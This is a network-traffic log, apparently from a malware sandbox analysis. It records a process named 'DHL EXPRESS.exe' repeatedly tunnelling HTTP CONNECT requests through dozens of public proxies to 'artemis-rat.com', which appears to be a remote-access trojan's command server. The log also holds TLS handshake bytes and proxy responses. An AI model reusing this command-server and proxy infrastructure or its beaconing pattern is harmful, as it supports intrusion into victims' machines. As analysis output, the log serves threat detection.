Mar 11, 2024 18:36:47.428374052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.8	51609	58.75.126.235	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.428942919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.8	51913	152.32.132.220	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.436495066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.8	51753	104.21.66.184	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.441004038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.595630884 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.8	51561	43.231.22.229	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.441011906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.858705997 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.8	51705	44.226.167.102	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.441085100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.631999016 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:47.636328936 CET	337	OUT	Data Raw: 16 03 03 01 4c 01 00 01 48 03 03 65 ef 41 2e c8 a7 13 86 d0 bc db 51 58 04 d0 ac 11 01 d7 58 c1 59 a7 12 43 17 95 83 58 06 48 b0 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: LHeA.QXXYCXH*,+0/$#('=<5/artemis-rat.com#=?<,{.n.(VHWE/zVxg)U{yF;IV
Mar 11, 2024 18:36:47.827852964 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 d2 c5 13 b6 fe d7 fa 12 c0 ab 01 a3 5f b4 0b af 2d 35 44 6c b5 f5 f4 43 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9_-5DlCDOWNGRD0000H010Uartemis-rat.com0240311171008Z260311171008Z010Uartemis-rat.com0"0H0P!d'~&
Mar 11, 2024 18:36:47.830368996 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 5e 68 6a ee fc 9d 24 0a 63 21 58 db b7 0b 57 2c 9b e2 14 7b a6 1f eb 9a 4b 04 af 11 52 ba d2 73 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 d3 60 ae c6 c0 cd 5d e6 a3 38 cc 5a 6b 64 ca 11 c7 00 3d f2 20 Data Ascii: %! ^hj$c!XW,{KRs(`]8Zkd= 3S
Mar 11, 2024 18:36:48.020060062 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 a9 cd e8 a4 26 8c 54 c6 cc 97 72 80 12 08 a4 69 d8 8e 25 bc bb 7e b1 32 15 f7 01 01 2e b0 06 09 f8 66 3b 08 b8 45 50 b6 Data Ascii: (&Tri%~2.f;EP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.8	50302	142.54.229.249	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.443402052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.8	51756	185.162.228.48	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.443773031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.598170996 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.8	51623	8.211.4.215	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.444070101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.268779993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.8	51715	34.83.143.6	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.448462963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.851553917 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.8	51613	43.133.74.172	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.454262972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.8	51655	51.15.242.202	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.459036112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.753107071 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.8	51962	152.32.132.220	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.461138964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.8	51758	204.236.176.61	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.462693930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.637015104 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:47.637999058 CET	337	OUT	Data Raw: 16 03 03 01 4c 01 00 01 48 03 03 65 ef 41 2e 1d 1b 04 b0 4c 06 4d db 49 95 d4 66 f0 ad a9 84 96 4a 53 47 c1 94 10 99 62 18 23 88 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: LHeA.LMIfJSGb#*,+0/$#('=<5/artemis-rat.com#=?<,{.n.(VHWE/zVxg)U{yF;IV
Mar 11, 2024 18:36:47.813096046 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 f1 ce 99 79 ce 0d a3 03 a0 86 12 80 25 51 5a 15 27 71 cf f2 83 2d 0d 05 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9y%QZ'q-DOWNGRD0000H010Uartemis-rat.com0240311171632Z260311171632Z010Uartemis-rat.com0"0H09yQb7_4
Mar 11, 2024 18:36:47.814898968 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 ed be 0c 33 ad ba 57 be 7f e6 ff 8a 70 d4 2d 00 88 21 89 6c b0 68 b0 de 7d 04 9b 43 d2 4e cf 50 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 ae 1b 02 79 5f ca ea 68 62 26 68 d4 39 c9 71 3d 23 4b 44 74 15 Data Ascii: %! 3Wp-!lh}CNP(y_hb&h9q=#KDtd5
Mar 11, 2024 18:36:47.987133980 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 a4 39 a8 f6 f5 43 54 d9 1d 49 d0 96 62 01 5b 2e f3 5e 8f a8 4e 36 da 01 d4 6f ef 3f 6c bb 79 69 f4 b1 b4 c5 3e 88 79 7b Data Ascii: (9CTIb[.^N6o?lyi>y{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.8	51742	52.35.240.119	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.462928057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.653244019 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.8	51678	174.77.111.197	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.463918924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.8	51964	152.32.132.220	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.464080095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.8	51965	152.32.132.220	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.466175079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.8	51596	103.49.202.252	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.468453884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.847352028 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.8	51589	202.40.181.220	31247	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.473597050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.8	51635	103.69.87.142	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.474762917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.268929958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.269536018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.269376040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.269368887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.253484964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.096395016 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.8	51629	194.247.173.17	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.475758076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.8	49716	203.161.32.242	50640	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.478691101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.565879107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.566113949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.566195965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.566001892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.675096035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:23.706357956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.8	51089	193.8.87.43	4444	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.480974913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.8	51587	116.199.168.1	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.482140064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.8	51670	47.242.15.120	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.488009930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.8	51434	8.213.128.90	444	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.488789082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.799110889 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:51.799761057 CET	44	IN	HTTP/1.1 200 OK Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.8	51643	134.209.105.209	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.490932941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.831860065 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
